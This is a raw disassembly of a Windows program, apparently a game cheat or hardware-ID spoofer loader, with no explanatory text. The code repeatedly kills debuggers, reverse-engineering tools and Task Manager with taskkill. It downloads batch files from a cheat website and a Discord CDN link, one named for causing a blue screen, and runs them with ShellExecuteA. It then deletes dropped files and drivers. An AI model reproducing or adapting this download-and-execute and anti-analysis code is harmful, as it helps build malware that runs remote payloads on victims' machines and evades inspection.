lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_GUIDCHANGER.bat
lea rcx, [rsp + 0xa750]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoGUIDCHANGER.bat
lea rcx, [rsp + 0xa730]
call fcn.14005d9d0
lea rcx, [rsp + 0xa730]
call fcn.14005d8d0
mov qword [rsp + 0x12d0], rax
lea rcx, [rsp + 0xa750]
call fcn.14005d8d0
mov qword [rsp + 0x12d8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x12d0]
mov rdx, qword [rsp + 0x12d8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoGUIDCHANGER.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_randomizermapper.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoGUIDCHANGER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_randomizermapper.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoRANDOMIZEDISK.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_randomizermapper.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_randomizermapper.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32Mobo.exe
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32_amifldrv64.sys
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32_amifldrv32.sys
call fcn.1402b632c
lea rcx, str.C:Windows_nfLauncher.exe
call fcn.1402b632c
lea rcx, [0x140392930]
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, [0x140392970]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoGUIDCHANGER.bat
call fcn.1402b632c
lea rcx, [rsp + 0xa730]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa750]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa770]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa790]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa7b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa7d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa7f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa810]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa830]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa850]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa870]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa890]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa8b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa8d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa8f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa910]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa930]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa950]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa970]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa990]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa9b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa9d0]
call fcn.14005d8e0
cmp dword [0x140406d74], 4
jne 0x140097558
call fcn.14006ba20
call fcn.14006ba70
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xcc50]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xcc30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xcc30]
call fcn.14005d8d0
mov qword [rsp + 0x12e0], rax
lea rcx, [rsp + 0xcc50]
call fcn.14005d8d0
mov qword [rsp + 0x12e8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x12e0]
mov rdx, qword [rsp + 0x12e8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
